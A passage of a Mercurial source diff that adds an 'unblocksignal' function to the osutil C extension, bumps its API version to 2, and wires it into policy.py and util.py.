931 932 #ifdef JFFS2_SUPER_MAGIC
932 933 if (pbuf->f_type == JFFS2_SUPER_MAGIC)
933 934 return "jffs2";
934 935 #endif
935 936 #ifdef JFS_SUPER_MAGIC
936 937 if (pbuf->f_type == JFS_SUPER_MAGIC)
937 938 return "jfs";
938 939 #endif
939 940 #ifdef MINIX_SUPER_MAGIC
940 941 if (pbuf->f_type == MINIX_SUPER_MAGIC)
941 942 return "minix";
942 943 #endif
943 944 #ifdef MINIX2_SUPER_MAGIC
944 945 if (pbuf->f_type == MINIX2_SUPER_MAGIC)
945 946 return "minix2";
946 947 #endif
947 948 #ifdef MINIX3_SUPER_MAGIC
948 949 if (pbuf->f_type == MINIX3_SUPER_MAGIC)
949 950 return "minix3";
950 951 #endif
951 952 #ifdef MQUEUE_MAGIC
952 953 if (pbuf->f_type == MQUEUE_MAGIC)
953 954 return "mqueue";
954 955 #endif
955 956 #ifdef MSDOS_SUPER_MAGIC
956 957 if (pbuf->f_type == MSDOS_SUPER_MAGIC)
957 958 return "msdos";
958 959 #endif
959 960 #ifdef NCP_SUPER_MAGIC
960 961 if (pbuf->f_type == NCP_SUPER_MAGIC)
961 962 return "ncp";
962 963 #endif
963 964 #ifdef NFS_SUPER_MAGIC
964 965 if (pbuf->f_type == NFS_SUPER_MAGIC)
965 966 return "nfs";
966 967 #endif
967 968 #ifdef NILFS_SUPER_MAGIC
968 969 if (pbuf->f_type == NILFS_SUPER_MAGIC)
969 970 return "nilfs";
970 971 #endif
971 972 #ifdef NTFS_SB_MAGIC
972 973 if (pbuf->f_type == NTFS_SB_MAGIC)
973 974 return "ntfs-sb";
974 975 #endif
975 976 #ifdef OCFS2_SUPER_MAGIC
976 977 if (pbuf->f_type == OCFS2_SUPER_MAGIC)
977 978 return "ocfs2";
978 979 #endif
979 980 #ifdef OPENPROM_SUPER_MAGIC
980 981 if (pbuf->f_type == OPENPROM_SUPER_MAGIC)
981 982 return "openprom";
982 983 #endif
983 984 #ifdef OVERLAYFS_SUPER_MAGIC
984 985 if (pbuf->f_type == OVERLAYFS_SUPER_MAGIC)
985 986 return "overlay";
986 987 #endif
987 988 #ifdef PIPEFS_MAGIC
988 989 if (pbuf->f_type == PIPEFS_MAGIC)
989 990 return "pipefs";
990 991 #endif
991 992 #ifdef PROC_SUPER_MAGIC
992 993 if (pbuf->f_type == PROC_SUPER_MAGIC)
993 994 return "proc";
994 995 #endif
995 996 #ifdef PSTOREFS_MAGIC
996 997 if (pbuf->f_type == PSTOREFS_MAGIC)
997 998 return "pstorefs";
998 999 #endif
999 1000 #ifdef QNX4_SUPER_MAGIC
1000 1001 if (pbuf->f_type == QNX4_SUPER_MAGIC)
1001 1002 return "qnx4";
1002 1003 #endif
1003 1004 #ifdef QNX6_SUPER_MAGIC
1004 1005 if (pbuf->f_type == QNX6_SUPER_MAGIC)
1005 1006 return "qnx6";
1006 1007 #endif
1007 1008 #ifdef RAMFS_MAGIC
1008 1009 if (pbuf->f_type == RAMFS_MAGIC)
1009 1010 return "ramfs";
1010 1011 #endif
1011 1012 #ifdef REISERFS_SUPER_MAGIC
1012 1013 if (pbuf->f_type == REISERFS_SUPER_MAGIC)
1013 1014 return "reiserfs";
1014 1015 #endif
1015 1016 #ifdef ROMFS_MAGIC
1016 1017 if (pbuf->f_type == ROMFS_MAGIC)
1017 1018 return "romfs";
1018 1019 #endif
1019 1020 #ifdef SECURITYFS_MAGIC
1020 1021 if (pbuf->f_type == SECURITYFS_MAGIC)
1021 1022 return "securityfs";
1022 1023 #endif
1023 1024 #ifdef SELINUX_MAGIC
1024 1025 if (pbuf->f_type == SELINUX_MAGIC)
1025 1026 return "selinux";
1026 1027 #endif
1027 1028 #ifdef SMACK_MAGIC
1028 1029 if (pbuf->f_type == SMACK_MAGIC)
1029 1030 return "smack";
1030 1031 #endif
1031 1032 #ifdef SMB_SUPER_MAGIC
1032 1033 if (pbuf->f_type == SMB_SUPER_MAGIC)
1033 1034 return "smb";
1034 1035 #endif
1035 1036 #ifdef SOCKFS_MAGIC
1036 1037 if (pbuf->f_type == SOCKFS_MAGIC)
1037 1038 return "sockfs";
1038 1039 #endif
1039 1040 #ifdef SQUASHFS_MAGIC
1040 1041 if (pbuf->f_type == SQUASHFS_MAGIC)
1041 1042 return "squashfs";
1042 1043 #endif
1043 1044 #ifdef SYSFS_MAGIC
1044 1045 if (pbuf->f_type == SYSFS_MAGIC)
1045 1046 return "sysfs";
1046 1047 #endif
1047 1048 #ifdef SYSV2_SUPER_MAGIC
1048 1049 if (pbuf->f_type == SYSV2_SUPER_MAGIC)
1049 1050 return "sysv2";
1050 1051 #endif
1051 1052 #ifdef SYSV4_SUPER_MAGIC
1052 1053 if (pbuf->f_type == SYSV4_SUPER_MAGIC)
1053 1054 return "sysv4";
1054 1055 #endif
1055 1056 #ifdef TMPFS_MAGIC
1056 1057 if (pbuf->f_type == TMPFS_MAGIC)
1057 1058 return "tmpfs";
1058 1059 #endif
1059 1060 #ifdef UDF_SUPER_MAGIC
1060 1061 if (pbuf->f_type == UDF_SUPER_MAGIC)
1061 1062 return "udf";
1062 1063 #endif
1063 1064 #ifdef UFS_MAGIC
1064 1065 if (pbuf->f_type == UFS_MAGIC)
1065 1066 return "ufs";
1066 1067 #endif
1067 1068 #ifdef USBDEVICE_SUPER_MAGIC
1068 1069 if (pbuf->f_type == USBDEVICE_SUPER_MAGIC)
1069 1070 return "usbdevice";
1070 1071 #endif
1071 1072 #ifdef V9FS_MAGIC
1072 1073 if (pbuf->f_type == V9FS_MAGIC)
1073 1074 return "v9fs";
1074 1075 #endif
1075 1076 #ifdef VXFS_SUPER_MAGIC
1076 1077 if (pbuf->f_type == VXFS_SUPER_MAGIC)
1077 1078 return "vxfs";
1078 1079 #endif
1079 1080 #ifdef XENFS_SUPER_MAGIC
1080 1081 if (pbuf->f_type == XENFS_SUPER_MAGIC)
1081 1082 return "xenfs";
1082 1083 #endif
1083 1084 #ifdef XENIX_SUPER_MAGIC
1084 1085 if (pbuf->f_type == XENIX_SUPER_MAGIC)
1085 1086 return "xenix";
1086 1087 #endif
1087 1088 #ifdef XFS_SUPER_MAGIC
1088 1089 if (pbuf->f_type == XFS_SUPER_MAGIC)
1089 1090 return "xfs";
1090 1091 #endif
1091 1092 /* End of Linux filesystems */
1092 1093 return NULL;
1093 1094 }
1094 1095 #endif /* def HAVE_LINUX_STATFS */
1095 1096
1096 1097 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1097 1098 /* given a directory path, return filesystem type name (best-effort) */
1098 1099 static PyObject *getfstype(PyObject *self, PyObject *args)
1099 1100 {
1100 1101 const char *path = NULL;
1101 1102 struct statfs buf;
1102 1103 int r;
1103 1104 if (!PyArg_ParseTuple(args, "s", &path))
1104 1105 return NULL;
1105 1106
1106 1107 memset(&buf, 0, sizeof(buf));
1107 1108 r = statfs(path, &buf);
1108 1109 if (r != 0)
1109 1110 return PyErr_SetFromErrno(PyExc_OSError);
1110 1111 return Py_BuildValue("s", describefstype(&buf));
1111 1112 }
1112 1113 #endif /* defined(HAVE_LINUX_STATFS) || defined(HAVE_BSD_STATFS) */
1113 1114
1115 static PyObject *unblocksignal(PyObject *self, PyObject *args)
1116 {
1117 int sig = 0;
1118 int r;
1119 if (!PyArg_ParseTuple(args, "i", &sig))
1120 return NULL;
1121 sigset_t set;
1122 r = sigemptyset(&set);
1123 if (r != 0)
1124 return PyErr_SetFromErrno(PyExc_OSError);
1125 r = sigaddset(&set, sig);
1126 if (r != 0)
1127 return PyErr_SetFromErrno(PyExc_OSError);
1128 r = sigprocmask(SIG_UNBLOCK, &set, NULL);
1129 if (r != 0)
1130 return PyErr_SetFromErrno(PyExc_OSError);
1131 Py_RETURN_NONE;
1132 }
1133
1114 1134 #endif /* ndef _WIN32 */
1115 1135
1116 1136 static PyObject *listdir(PyObject *self, PyObject *args, PyObject *kwargs)
1117 1137 {
1118 1138 PyObject *statobj = NULL; /* initialize - optional arg */
1119 1139 PyObject *skipobj = NULL; /* initialize - optional arg */
1120 1140 char *path, *skip = NULL;
1121 1141 int wantstat, plen;
1122 1142
1123 1143 static char *kwlist[] = {"path", "stat", "skip", NULL};
1124 1144
1125 1145 if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|OO:listdir",
1126 1146 kwlist, &path, &plen, &statobj, &skipobj))
1127 1147 return NULL;
1128 1148
1129 1149 wantstat = statobj && PyObject_IsTrue(statobj);
1130 1150
1131 1151 if (skipobj && skipobj != Py_None) {
1132 1152 skip = PyBytes_AsString(skipobj);
1133 1153 if (!skip)
1134 1154 return NULL;
1135 1155 }
1136 1156
1137 1157 return _listdir(path, plen, wantstat, skip);
1138 1158 }
1139 1159
1140 1160 #ifdef _WIN32
1141 1161 static PyObject *posixfile(PyObject *self, PyObject *args, PyObject *kwds)
1142 1162 {
1143 1163 static char *kwlist[] = {"name", "mode", "buffering", NULL};
1144 1164 PyObject *file_obj = NULL;
1145 1165 char *name = NULL;
1146 1166 char *mode = "rb";
1147 1167 DWORD access = 0;
1148 1168 DWORD creation;
1149 1169 HANDLE handle;
1150 1170 int fd, flags = 0;
1151 1171 int bufsize = -1;
1152 1172 char m0, m1, m2;
1153 1173 char fpmode[4];
1154 1174 int fppos = 0;
1155 1175 int plus;
1156 1176 FILE *fp;
1157 1177
1158 1178 if (!PyArg_ParseTupleAndKeywords(args, kwds, "et|si:posixfile", kwlist,
1159 1179 Py_FileSystemDefaultEncoding,
1160 1180 &name, &mode, &bufsize))
1161 1181 return NULL;
1162 1182
1163 1183 m0 = mode[0];
1164 1184 m1 = m0 ? mode[1] : '\0';
1165 1185 m2 = m1 ? mode[2] : '\0';
1166 1186 plus = m1 == '+' || m2 == '+';
1167 1187
1168 1188 fpmode[fppos++] = m0;
1169 1189 if (m1 == 'b' || m2 == 'b') {
1170 1190 flags = _O_BINARY;
1171 1191 fpmode[fppos++] = 'b';
1172 1192 }
1173 1193 else
1174 1194 flags = _O_TEXT;
1175 1195 if (m0 == 'r' && !plus) {
1176 1196 flags |= _O_RDONLY;
1177 1197 access = GENERIC_READ;
1178 1198 } else {
1179 1199 /*
1180 1200 work around http://support.microsoft.com/kb/899149 and
1181 1201 set _O_RDWR for 'w' and 'a', even if mode has no '+'
1182 1202 */
1183 1203 flags |= _O_RDWR;
1184 1204 access = GENERIC_READ | GENERIC_WRITE;
1185 1205 fpmode[fppos++] = '+';
1186 1206 }
1187 1207 fpmode[fppos++] = '\0';
1188 1208
1189 1209 switch (m0) {
1190 1210 case 'r':
1191 1211 creation = OPEN_EXISTING;
1192 1212 break;
1193 1213 case 'w':
1194 1214 creation = CREATE_ALWAYS;
1195 1215 break;
1196 1216 case 'a':
1197 1217 creation = OPEN_ALWAYS;
1198 1218 flags |= _O_APPEND;
1199 1219 break;
1200 1220 default:
1201 1221 PyErr_Format(PyExc_ValueError,
1202 1222 "mode string must begin with one of 'r', 'w', "
1203 1223 "or 'a', not '%c'", m0);
1204 1224 goto bail;
1205 1225 }
1206 1226
1207 1227 handle = CreateFile(name, access,
1208 1228 FILE_SHARE_READ | FILE_SHARE_WRITE |
1209 1229 FILE_SHARE_DELETE,
1210 1230 NULL,
1211 1231 creation,
1212 1232 FILE_ATTRIBUTE_NORMAL,
1213 1233 0);
1214 1234
1215 1235 if (handle == INVALID_HANDLE_VALUE) {
1216 1236 PyErr_SetFromWindowsErrWithFilename(GetLastError(), name);
1217 1237 goto bail;
1218 1238 }
1219 1239
1220 1240 fd = _open_osfhandle((intptr_t)handle, flags);
1221 1241
1222 1242 if (fd == -1) {
1223 1243 CloseHandle(handle);
1224 1244 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1225 1245 goto bail;
1226 1246 }
1227 1247 #ifndef IS_PY3K
1228 1248 fp = _fdopen(fd, fpmode);
1229 1249 if (fp == NULL) {
1230 1250 _close(fd);
1231 1251 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1232 1252 goto bail;
1233 1253 }
1234 1254
1235 1255 file_obj = PyFile_FromFile(fp, name, mode, fclose);
1236 1256 if (file_obj == NULL) {
1237 1257 fclose(fp);
1238 1258 goto bail;
1239 1259 }
1240 1260
1241 1261 PyFile_SetBufSize(file_obj, bufsize);
1242 1262 #else
1243 1263 file_obj = PyFile_FromFd(fd, name, mode, bufsize, NULL, NULL, NULL, 1);
1244 1264 if (file_obj == NULL)
1245 1265 goto bail;
1246 1266 #endif
1247 1267 bail:
1248 1268 PyMem_Free(name);
1249 1269 return file_obj;
1250 1270 }
1251 1271 #endif
1252 1272
1253 1273 #ifdef __APPLE__
1254 1274 #include <ApplicationServices/ApplicationServices.h>
1255 1275
1256 1276 static PyObject *isgui(PyObject *self)
1257 1277 {
1258 1278 CFDictionaryRef dict = CGSessionCopyCurrentDictionary();
1259 1279
1260 1280 if (dict != NULL) {
1261 1281 CFRelease(dict);
1262 1282 Py_RETURN_TRUE;
1263 1283 } else {
1264 1284 Py_RETURN_FALSE;
1265 1285 }
1266 1286 }
1267 1287 #endif
1268 1288
1269 1289 static char osutil_doc[] = "Native operating system services.";
1270 1290
1271 1291 static PyMethodDef methods[] = {
1272 1292 {"listdir", (PyCFunction)listdir, METH_VARARGS | METH_KEYWORDS,
1273 1293 "list a directory\n"},
1274 1294 #ifdef _WIN32
1275 1295 {"posixfile", (PyCFunction)posixfile, METH_VARARGS | METH_KEYWORDS,
1276 1296 "Open a file with POSIX-like semantics.\n"
1277 1297 "On error, this function may raise either a WindowsError or an IOError."},
1278 1298 #else
1279 1299 {"statfiles", (PyCFunction)statfiles, METH_VARARGS | METH_KEYWORDS,
1280 1300 "stat a series of files or symlinks\n"
1281 1301 "Returns None for non-existent entries and entries of other types.\n"},
1282 1302 #ifdef CMSG_LEN
1283 1303 {"recvfds", (PyCFunction)recvfds, METH_VARARGS,
1284 1304 "receive list of file descriptors via socket\n"},
1285 1305 #endif
1286 1306 #ifndef SETPROCNAME_USE_NONE
1287 1307 {"setprocname", (PyCFunction)setprocname, METH_VARARGS,
1288 1308 "set process title (best-effort)\n"},
1289 1309 #endif
1290 1310 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1291 1311 {"getfstype", (PyCFunction)getfstype, METH_VARARGS,
1292 1312 "get filesystem type (best-effort)\n"},
1293 1313 #endif
1314 {"unblocksignal", (PyCFunction)unblocksignal, METH_VARARGS,
1315 "change signal mask to unblock a given signal\n"},
1294 1316 #endif /* ndef _WIN32 */
1295 1317 #ifdef __APPLE__
1296 1318 {
1297 1319 "isgui", (PyCFunction)isgui, METH_NOARGS,
1298 1320 "Is a CoreGraphics session available?"
1299 1321 },
1300 1322 #endif
1301 1323 {NULL, NULL}
1302 1324 };
1303 1325
1304 static const int version = 1;
1326 static const int version = 2;
1305 1327
1306 1328 #ifdef IS_PY3K
1307 1329 static struct PyModuleDef osutil_module = {
1308 1330 PyModuleDef_HEAD_INIT,
1309 1331 "osutil",
1310 1332 osutil_doc,
1311 1333 -1,
1312 1334 methods
1313 1335 };
1314 1336
1315 1337 PyMODINIT_FUNC PyInit_osutil(void)
1316 1338 {
1317 1339 PyObject *m;
1318 1340 if (PyType_Ready(&listdir_stat_type) < 0)
1319 1341 return NULL;
1320 1342
1321 1343 m = PyModule_Create(&osutil_module);
1322 1344 PyModule_AddIntConstant(m, "version", version);
1323 1345 return m;
1324 1346 }
1325 1347 #else
1326 1348 PyMODINIT_FUNC initosutil(void)
1327 1349 {
1328 1350 PyObject *m;
1329 1351 if (PyType_Ready(&listdir_stat_type) == -1)
1330 1352 return;
1331 1353
1332 1354 m = Py_InitModule3("osutil", methods, osutil_doc);
1333 1355 PyModule_AddIntConstant(m, "version", version);
1334 1356 }
1335 1357 #endif
@@ -1,116 +1,116 b''
1 1 # policy.py - module policy logic for Mercurial.
2 2 #
3 3 # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import os
11 11 import sys
12 12
13 13 # Rules for how modules can be loaded. Values are:
14 14 #
15 15 # c - require C extensions
16 16 # allow - allow pure Python implementation when C loading fails
17 17 # cffi - required cffi versions (implemented within pure module)
18 18 # cffi-allow - allow pure Python implementation if cffi version is missing
19 19 # py - only load pure Python modules
20 20 #
21 21 # By default, fall back to the pure modules so the in-place build can
22 22 # run without recompiling the C extensions. This will be overridden by
23 23 # __modulepolicy__ generated by setup.py.
24 24 policy = b'allow'
25 25 _packageprefs = {
26 26 # policy: (versioned package, pure package)
27 27 b'c': (r'cext', None),
28 28 b'allow': (r'cext', r'pure'),
29 29 b'cffi': (r'cffi', None),
30 30 b'cffi-allow': (r'cffi', r'pure'),
31 31 b'py': (None, r'pure'),
32 32 }
33 33
34 34 try:
35 35 from . import __modulepolicy__
36 36 policy = __modulepolicy__.modulepolicy
37 37 except ImportError:
38 38 pass
39 39
40 40 # PyPy doesn't load C extensions.
41 41 #
42 42 # The canonical way to do this is to test platform.python_implementation().
43 43 # But we don't import platform and don't bloat for it here.
44 44 if r'__pypy__' in sys.builtin_module_names:
45 45 policy = b'cffi'
46 46
47 47 # Our C extensions aren't yet compatible with Python 3. So use pure Python
48 48 # on Python 3 for now.
49 49 if sys.version_info[0] >= 3:
50 50 policy = b'py'
51 51
52 52 # Environment variable can always force settings.
53 53 if sys.version_info[0] >= 3:
54 54 if r'HGMODULEPOLICY' in os.environ:
55 55 policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
56 56 else:
57 57 policy = os.environ.get(r'HGMODULEPOLICY', policy)
58 58
59 59 def _importfrom(pkgname, modname):
60 60 # from .<pkgname> import <modname> (where . is looked through this module)
61 61 fakelocals = {}
62 62 pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
63 63 try:
64 64 fakelocals[modname] = mod = getattr(pkg, modname)
65 65 except AttributeError:
66 66 raise ImportError(r'cannot import name %s' % modname)
67 67 # force import; fakelocals[modname] may be replaced with the real module
68 68 getattr(mod, r'__doc__', None)
69 69 return fakelocals[modname]
70 70
71 71 # keep in sync with "version" in C modules
72 72 _cextversions = {
73 73 (r'cext', r'base85'): 1,
74 74 (r'cext', r'bdiff'): 1,
75 75 (r'cext', r'diffhelpers'): 1,
76 76 (r'cext', r'mpatch'): 1,
77 (r'cext', r'osutil'): 1,
77 (r'cext', r'osutil'): 2,
78 78 (r'cext', r'parsers'): 4,
79 79 }
80 80
81 81 # map import request to other package or module
82 82 _modredirects = {
83 83 (r'cext', r'charencode'): (r'cext', r'parsers'),
84 84 (r'cffi', r'base85'): (r'pure', r'base85'),
85 85 (r'cffi', r'charencode'): (r'pure', r'charencode'),
86 86 (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
87 87 (r'cffi', r'parsers'): (r'pure', r'parsers'),
88 88 }
89 89
90 90 def _checkmod(pkgname, modname, mod):
91 91 expected = _cextversions.get((pkgname, modname))
92 92 actual = getattr(mod, r'version', None)
93 93 if actual != expected:
94 94 raise ImportError(r'cannot import module %s.%s '
95 95 r'(expected version: %d, actual: %r)'
96 96 % (pkgname, modname, expected, actual))
97 97
98 98 def importmod(modname):
99 99 """Import module according to policy and check API version"""
100 100 try:
101 101 verpkg, purepkg = _packageprefs[policy]
102 102 except KeyError:
103 103 raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
104 104 assert verpkg or purepkg
105 105 if verpkg:
106 106 pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
107 107 try:
108 108 mod = _importfrom(pn, mn)
109 109 if pn == verpkg:
110 110 _checkmod(pn, mn, mod)
111 111 return mod
112 112 except ImportError:
113 113 if not purepkg:
114 114 raise
115 115 pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
116 116 return _importfrom(pn, mn)
@@ -1,3866 +1,3870 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import calendar
21 21 import codecs
22 22 import collections
23 23 import contextlib
24 24 import datetime
25 25 import errno
26 26 import gc
27 27 import hashlib
28 28 import imp
29 29 import itertools
30 30 import mmap
31 31 import os
32 32 import platform as pyplatform
33 33 import re as remod
34 34 import shutil
35 35 import signal
36 36 import socket
37 37 import stat
38 38 import string
39 39 import subprocess
40 40 import sys
41 41 import tempfile
42 42 import textwrap
43 43 import time
44 44 import traceback
45 45 import warnings
46 46 import zlib
47 47
48 48 from . import (
49 49 encoding,
50 50 error,
51 51 i18n,
52 52 policy,
53 53 pycompat,
54 54 urllibcompat,
55 55 )
56 56
57 57 base85 = policy.importmod(r'base85')
58 58 osutil = policy.importmod(r'osutil')
59 59 parsers = policy.importmod(r'parsers')
60 60
61 61 b85decode = base85.b85decode
62 62 b85encode = base85.b85encode
63 63
64 64 cookielib = pycompat.cookielib
65 65 empty = pycompat.empty
66 66 httplib = pycompat.httplib
67 67 pickle = pycompat.pickle
68 68 queue = pycompat.queue
69 69 socketserver = pycompat.socketserver
70 70 stderr = pycompat.stderr
71 71 stdin = pycompat.stdin
72 72 stdout = pycompat.stdout
73 73 stringio = pycompat.stringio
74 74 xmlrpclib = pycompat.xmlrpclib
75 75
76 76 httpserver = urllibcompat.httpserver
77 77 urlerr = urllibcompat.urlerr
78 78 urlreq = urllibcompat.urlreq
79 79
80 80 # workaround for win32mbcs
81 81 _filenamebytestr = pycompat.bytestr
82 82
83 83 def isatty(fp):
84 84 try:
85 85 return fp.isatty()
86 86 except AttributeError:
87 87 return False
88 88
89 89 # glibc determines buffering on first write to stdout - if we replace a TTY
90 90 # destined stdout with a pipe destined stdout (e.g. pager), we want line
91 91 # buffering
92 92 if isatty(stdout):
93 93 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
94 94
95 95 if pycompat.iswindows:
96 96 from . import windows as platform
97 97 stdout = platform.winstdout(stdout)
98 98 else:
99 99 from . import posix as platform
100 100
101 101 _ = i18n._
102 102
103 103 bindunixsocket = platform.bindunixsocket
104 104 cachestat = platform.cachestat
105 105 checkexec = platform.checkexec
106 106 checklink = platform.checklink
107 107 copymode = platform.copymode
108 108 executablepath = platform.executablepath
109 109 expandglobs = platform.expandglobs
110 110 explainexit = platform.explainexit
111 111 findexe = platform.findexe
112 112 gethgcmd = platform.gethgcmd
113 113 getuser = platform.getuser
114 114 getpid = os.getpid
115 115 groupmembers = platform.groupmembers
116 116 groupname = platform.groupname
117 117 hidewindow = platform.hidewindow
118 118 isexec = platform.isexec
119 119 isowner = platform.isowner
120 120 listdir = osutil.listdir
121 121 localpath = platform.localpath
122 122 lookupreg = platform.lookupreg
123 123 makedir = platform.makedir
124 124 nlinks = platform.nlinks
125 125 normpath = platform.normpath
126 126 normcase = platform.normcase
127 127 normcasespec = platform.normcasespec
128 128 normcasefallback = platform.normcasefallback
129 129 openhardlinks = platform.openhardlinks
130 130 oslink = platform.oslink
131 131 parsepatchoutput = platform.parsepatchoutput
132 132 pconvert = platform.pconvert
133 133 poll = platform.poll
134 134 popen = platform.popen
135 135 posixfile = platform.posixfile
136 136 quotecommand = platform.quotecommand
137 137 readpipe = platform.readpipe
138 138 rename = platform.rename
139 139 removedirs = platform.removedirs
140 140 samedevice = platform.samedevice
141 141 samefile = platform.samefile
142 142 samestat = platform.samestat
143 143 setbinary = platform.setbinary
144 144 setflags = platform.setflags
145 145 setsignalhandler = platform.setsignalhandler
146 146 shellquote = platform.shellquote
147 147 spawndetached = platform.spawndetached
148 148 split = platform.split
149 149 sshargs = platform.sshargs
150 150 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
151 151 statisexec = platform.statisexec
152 152 statislink = platform.statislink
153 153 testpid = platform.testpid
154 154 umask = platform.umask
155 155 unlink = platform.unlink
156 156 username = platform.username
157 157
158 158 try:
159 159 recvfds = osutil.recvfds
160 160 except AttributeError:
161 161 pass
162 162 try:
163 163 setprocname = osutil.setprocname
164 164 except AttributeError:
165 165 pass
166 try:
167 unblocksignal = osutil.unblocksignal
168 except AttributeError:
169 pass
166 170
167 171 # Python compatibility
168 172
169 173 _notset = object()
170 174
171 175 # disable Python's problematic floating point timestamps (issue4836)
172 176 # (Python hypocritically says you shouldn't change this behavior in
173 177 # libraries, and sure enough Mercurial is not a library.)
174 178 os.stat_float_times(False)
175 179
176 180 def safehasattr(thing, attr):
177 181 return getattr(thing, attr, _notset) is not _notset
178 182
179 183 def bytesinput(fin, fout, *args, **kwargs):
180 184 sin, sout = sys.stdin, sys.stdout
181 185 try:
182 186 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
183 187 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
184 188 finally:
185 189 sys.stdin, sys.stdout = sin, sout
186 190
187 191 def bitsfrom(container):
188 192 bits = 0
189 193 for bit in container:
190 194 bits |= bit
191 195 return bits
192 196
193 197 # python 2.6 still have deprecation warning enabled by default. We do not want
194 198 # to display anything to standard user so detect if we are running test and
195 199 # only use python deprecation warning in this case.
196 200 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
197 201 if _dowarn:
198 202 # explicitly unfilter our warning for python 2.7
199 203 #
200 204 # The option of setting PYTHONWARNINGS in the test runner was investigated.
201 205 # However, module name set through PYTHONWARNINGS was exactly matched, so
202 206 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
203 207 # makes the whole PYTHONWARNINGS thing useless for our usecase.
204 208 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
205 209 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
206 210 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
207 211
208 212 def nouideprecwarn(msg, version, stacklevel=1):
209 213 """Issue an python native deprecation warning
210 214
211 215 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
212 216 """
213 217 if _dowarn:
214 218 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
215 219 " update your code.)") % version
216 220 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
217 221
218 222 DIGESTS = {
219 223 'md5': hashlib.md5,
220 224 'sha1': hashlib.sha1,
221 225 'sha512': hashlib.sha512,
222 226 }
223 227 # List of digest types from strongest to weakest
224 228 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
225 229
226 230 for k in DIGESTS_BY_STRENGTH:
227 231 assert k in DIGESTS
228 232
229 233 class digester(object):
230 234 """helper to compute digests.
231 235
232 236 This helper can be used to compute one or more digests given their name.
233 237
234 238 >>> d = digester([b'md5', b'sha1'])
235 239 >>> d.update(b'foo')
236 240 >>> [k for k in sorted(d)]
237 241 ['md5', 'sha1']
238 242 >>> d[b'md5']
239 243 'acbd18db4cc2f85cedef654fccc4a4d8'
240 244 >>> d[b'sha1']
241 245 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
242 246 >>> digester.preferred([b'md5', b'sha1'])
243 247 'sha1'
244 248 """
245 249
246 250 def __init__(self, digests, s=''):
247 251 self._hashes = {}
248 252 for k in digests:
249 253 if k not in DIGESTS:
250 254 raise Abort(_('unknown digest type: %s') % k)
251 255 self._hashes[k] = DIGESTS[k]()
252 256 if s:
253 257 self.update(s)
254 258
255 259 def update(self, data):
256 260 for h in self._hashes.values():
257 261 h.update(data)
258 262
259 263 def __getitem__(self, key):
260 264 if key not in DIGESTS:
261 265 raise Abort(_('unknown digest type: %s') % k)
262 266 return self._hashes[key].hexdigest()
263 267
264 268 def __iter__(self):
265 269 return iter(self._hashes)
266 270
267 271 @staticmethod
268 272 def preferred(supported):
269 273 """returns the strongest digest type in both supported and DIGESTS."""
270 274
271 275 for k in DIGESTS_BY_STRENGTH:
272 276 if k in supported:
273 277 return k
274 278 return None
275 279
276 280 class digestchecker(object):
277 281 """file handle wrapper that additionally checks content against a given
278 282 size and digests.
279 283
280 284 d = digestchecker(fh, size, {'md5': '...'})
281 285
282 286 When multiple digests are given, all of them are validated.
283 287 """
284 288
285 289 def __init__(self, fh, size, digests):
286 290 self._fh = fh
287 291 self._size = size
288 292 self._got = 0
289 293 self._digests = dict(digests)
290 294 self._digester = digester(self._digests.keys())
291 295
292 296 def read(self, length=-1):
293 297 content = self._fh.read(length)
294 298 self._digester.update(content)
295 299 self._got += len(content)
296 300 return content
297 301
298 302 def validate(self):
299 303 if self._size != self._got:
300 304 raise Abort(_('size mismatch: expected %d, got %d') %
301 305 (self._size, self._got))
302 306 for k, v in self._digests.items():
303 307 if v != self._digester[k]:
304 308 # i18n: first parameter is a digest name
305 309 raise Abort(_('%s mismatch: expected %s, got %s') %
306 310 (k, v, self._digester[k]))
307 311
308 312 try:
309 313 buffer = buffer
310 314 except NameError:
311 315 def buffer(sliceable, offset=0, length=None):
312 316 if length is not None:
313 317 return memoryview(sliceable)[offset:offset + length]
314 318 return memoryview(sliceable)[offset:]
315 319
316 320 closefds = pycompat.isposix
317 321
318 322 _chunksize = 4096
319 323
320 324 class bufferedinputpipe(object):
321 325 """a manually buffered input pipe
322 326
323 327 Python will not let us use buffered IO and lazy reading with 'polling' at
324 328 the same time. We cannot probe the buffer state and select will not detect
325 329 that data are ready to read if they are already buffered.
326 330
327 331 This class let us work around that by implementing its own buffering
